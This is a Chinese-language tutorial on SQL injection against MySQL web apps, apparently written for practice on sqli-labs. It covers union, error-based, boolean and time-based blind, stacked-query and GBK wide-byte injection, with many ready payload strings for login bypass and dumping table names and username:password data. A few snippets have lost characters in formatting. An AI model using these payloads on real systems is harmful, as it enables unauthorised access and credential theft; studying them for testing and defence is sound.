SQL注入:

原理:

SQL注入(SQL Injection)是一种常见的Web安全漏洞,形成的主要原因是web应用程序在接收相关数据参数时未做好过滤,将其直接带入到数据库中查询,导致攻击者可以拼接执行构造的SQL语句。那什么是SQL了?结构化查询语言(Structured Query Language,缩写:SQL),是一种关系型数据库查询的标准编程语言,用于存取数据以及查询、更新、删除和管理关系型数据库(即SQL是一种数据库查询语言)即:注入产生的原因是后台服务器在接收相关参数时未做好过滤直接带入到数据库中查询,导致可以拼接执行构造的SQL语句

mysql查询知识:

sql注入常用知识
1.information_schema:表示所有信息,包括库、表、列
2.information_schema.tables:记录所有表名信息的表
3.information_schema.columns:记录所有列名信息的表
4.table_schema:数据库的名称
5.table_name:表名
6.column_name:列名
7.group_concat():显示所有查询到的数据

分析:

​ 我们都知道web分为前端和后端,前端负责数据显示,后端负责处理来自前端的请求并提供前端展示的资源,即然有资源,那么就需要有存储资源的地方——如mysql数据库。那服务器如何对数据获取了?就需要使用SQL语句这一语法结构进行查询获取。SQL语句通过特有的语法对数据进行查询。(sql注入可以在sqli-labs进行练习)

假设一个登录页面的 SQL 查询是这样的:

SELECT * FROM users WHERE username = '$username' AND password = '$password';   

如果用户输入的用户名是admin,密码是123456,那么这个查询会正常执行,验证用户的登录信息。但是,如果攻击者输入用户名是admin' --,密码随便输入一个值,那么这个查询就变成了:

SELECT * FROM users WHERE username = 'admin' --' AND password = 'any_value';

在这个例子中,--是 SQL 中的注释符号,后面的密码验证部分被注释掉了,这样攻击者就可以绕过密码验证,成功登录系统。

前提条件:

  • 前端用户传递到后端服务器的参数是可控的;

  • 传递的参数能够被代入到后端服务器中执行相关数据库操作指令。

  • 通俗点讲就是当前想要进行SQL注入的Web界面是必须是动态网页,即前端数据与后端数据库进行交互,前端页面从后端获取数据信息进行显示。
    

    ## 参数类型:

    ### 数字型:

    当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入

### 字符型:

当输入的参数被当做字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过引号来闭合的。即看参数是否被引号包裹 例:select * from table where name=’admin’


### 搜索型:

一些网站为了方便用户查找网站的资源,都对用户提供了搜索的功能,因为是搜索功能,往往是程序员在编写代码时都忽略了对其变量(参数)的过滤,而且这样的漏洞在国内的系统中普遍的存在;

其中又分为 POST/GET ,GET型的一般是用在网站上的搜索,而POST则用在用户名的登录,可以从form表单的 method="get" 属性来区分是get还是post。搜索型注入又称为文本框注入。

一般后台搜索组合的SQL语句如下:

$sql = “select * from user where password like ‘%$pwd%’ order by password”;


## 注入手法分类:

联合查询注入
报错型注入
布尔盲注
时间盲注
堆叠查询注入
UA头注入
Cookie注入
宽字节注入


(这里讲解注入手法只是粗略讲下)

### 联合型注入:

#### 条件:

页面对不同的查询语句有不同的回显结果;根据每一步的返回结果判断和进行下一步操作


#### 流程:

0)判断是否具有sql注入条件
1)判断sql注入漏洞是否存在及类型
2)判断sql查询字段数
3)判断回显点
4) 爆库名
5) 爆表名
6) 爆字段名
7) 爆数据


-1’ union select database() –+ #查询数据库名
-1’ union select group_concat(table_name) from information_schema.tables where table_schema=database() –+ #查询数据表名
-1’ union select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’’ –+ #查询字段名
-1’ union select group_concat(username,’:’,password,’;’) from ‘表名’ –+ #查询数据


### 报错注入:

报错注入用在数据库的错误信息会回显在网页中的情况,如果联合查询不能使用,首选报错注入。
报错注入利用的是数据库的报错信息得到数据库的内容,这里需要构造语句让数据库报错


这个就需要函数使用了

#### 1. group by 重复键冲:

1’ and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) –+


#### 2.extractvalue() 函数:

1’ and extractvalue(1,concat(‘^’,(select database()),‘^’)) –+


#### 3.updatexml() 函数:

1’ and updatexml(1,concat(‘‘,(database()),’’),1) –+


然后正常的改database()就行了

### 布尔注入:

布尔盲注,即在页面没有错误回显时完成的注入攻击。此时我们输入的语句让页面呈现出两种状态,相当于true和false,根据这两种状态可以判断我们输入的语句是否查询成功。


//判断是否是 Mysql数据库
1’ and exists(selectfrom information_schema.tables) –+
//判断是否是 access数据库
1’ and exists(select
from msysobjects) –+
//判断是否是 Sqlserver数据库
1’ and exists(select*from sysobjects) –+


#### 常用的函数:

substr(str,from,length):返回从下标为from截取长度为length的str子串。其中,首字符下标为1
length(str):返回str串长度


#### 1.爆数据库名长度:

通过循环i从1到无穷,使用length(database()) = i获取库名长度,i是长度,直到返回页面提示query_success即猜测成功
例:1 and length(database())=4


#### 2.根据库名长度爆库名:

获得库名长度i后,使用substr(database(),i,1)将库名切片,循环i次,i是字符下标,每次循环要遍历字母表[a-z]作比较,即依次猜每位字符
注意观察substr(database,i,1)
i从1开始(第i个字符)例:1 and substr(database(),1,1)=‘a’


一般布尔盲注,手工去注入过于繁琐,不建议手工注入,可以借助于工具。(sqlmap)

#### 3、对当前库爆表数量:

```php
获取数据库内的表数量,使用mysql的查询语句select COUNT(*)。同样,要一个1到无穷的循环
例:1 and (select COUNT(*) from information_schema.tables where table_schema=database())=1

4、根据库名和表数量爆表名长度:

得到表数量i后,i就是循环次数,i是表的下标-1,大循环i次(遍历所有表),这里的i从0开始,使用limit i ,1限定是第几张表,内嵌循环j从1到无穷(穷举所有表名长度可能性)尝试获取每个表的表名长度 
注意观察limit i,1
i从0开始(第i+1张表)
例:
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=4
#query_success
#当前库sqli的第一张表表名长度为4
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 1,1)=4
#query_success
#当前库sqli的第二张表表名长度为4

5、根据表名长度爆表名:

再大循环i次(遍历所有表),内嵌循环j次(表名的所有字符),i是表下标-1,j是字符下标,再内嵌循环k从a到z(假设表名全是小写英文字符)尝试获取每个表的表名  
注意观察substr((select…limit i,1),j,1)
i从0开始(第i+1张表),j从1开始(第j个字符)
1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=‘n’

6、对表爆列数量:

操作同对当前库爆表数量的步骤,只是要查询的表不同
1 and (select COUNT(*) from information_schema.columns where table_schema=database() and table_name=‘flag’)=2

7、根据表名和列数量爆列名长度和列名以及数据:

1 and length(select columns from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1)=4
1 and substr((select columns_name from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1),1,1)=‘i’
1 and substr((select flag from sqli.flag),1,1)=“c”

时间注入:

延时注入。通过观察页面,既没有回显数据库内容,又没有报错信息也没有布尔类型状态,那么我们可以考虑用“绝招”--延时注入。延时注入就是将页面的时间线作为判断依据,一点一点注入出数据库的信息。
时间注入又名延时注入,属于盲注入的一种,通常是某个注入点无法通过布尔型注入获取数据,而采用一种突破注入的技巧。
在 mysql 里 函数 sleep() 是延时的意思,sleep(10)就是数据库延时 10 秒返回内容。判断注入可以使用' and sleep(10),数据
库延时10秒返回值,网页响应时间至少要10秒,根据这个原理来判断存在 SQL 时间注入。
mysql 延时注入用到的函数 sleep() 、if()、substring()
select if(2>1,sleep(10),0),2>1这个部分就是你注入要构造的 SQL 语句。
select if(length(database())>1,sleep(5),0),这个就是查询当前库大于1,就会延时5秒执行。
vince' and if(length(database())>1,sleep(5),0)--+
可以看到网页是大于五秒返回。根据这个原理 n>1,n不延时就能确定当前数据库的长度了。

时间语句:

(函数大差不差的)

1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>1,sleep(5),1) --+      #确定数据表长度和数据表数量
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>60, sleep(5),1) --+ #确定数据表名的第一个字符
1' and if(length((select column_name from information_schema.columns where table_name='users' limit 0,1))>3,sleep(5),1) --+ #确定字段名长度和字段数量
1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>10,sleep(5),1) --+ #确定字段名的第一个字符
1' and if (length((select password from security.users limit 0,1))>3,sleep(5),1) --+ #确定数据的长度
1' and if(ascii(substr((select password from security.users limit 0,1),1,1))>10, sleep(5),0) --+ #确定数据的第一个字符

堆叠查询注入

攻击者在注入点上插入多个查询语句,以便在单次注入中执行多个查询。

查询语句:

-1'; show databases;       #查询数据库名,代替-1' union select databases
-1';use xxx(数据库);show tables; #查询数据表名
-1';use xxx(数据库);show columns from `xxx(表)`; #查询字段名,当纯数字字符串是表名的时候需要加反引号`
-1';use xxx(数据库);handler `xxx` open as p;handler p read first; # first修改为next可查询下一行

UA头注入/Cookie注入:

和之前的差不多,就是位置变了

宽字节注入:

原理:

一个GBK汉字占两个字节,每个字节有自己的取值范围,如果设置GBK编码后,遇到连续两个字节,都符合GBK取值范围,会自动解析为一个汉字。
Addslashes函数防止sql注入,将传入参数值进行转义。例如将 '转义为 \' ,这样我们在注入的时候闭合单引号就会变成 id='1\',这样会导致闭合失败从而注入失败。
绕过方式:
输入%df%27(%27解码后为单引号(')),本来会转义%27为 \' ,但 \ 遇上%df相当于%5c(%5c解码后为反斜杠())和%df相遇,两者会合起来被解析成一个汉字(運),这样变成 id='1運' ,在MYSQL中效果等同于 id= '1' ,因而成功绕过。

方法:

宽字节注入主要是源于程序员使用的数据库编码与PHP编码设置为不同的两个编码。如果PHP的编码为UTF-8,而 MySql的编码设置为了 SET NAMES 'gbk'​ 或是 SET character_set_client=gbk​ ,这样配置会引发编码转换从而导致的注入漏洞。
用户输入:1%df' or 1=1#
转义后为: 1%df\' or 1=1#
由于SET NAMES gbk后,属于gbk编码2字节的范围
因此%df\成为一个字符:運
执行语句:SELECT * FROM users WHERE id='1運' or 1=1#'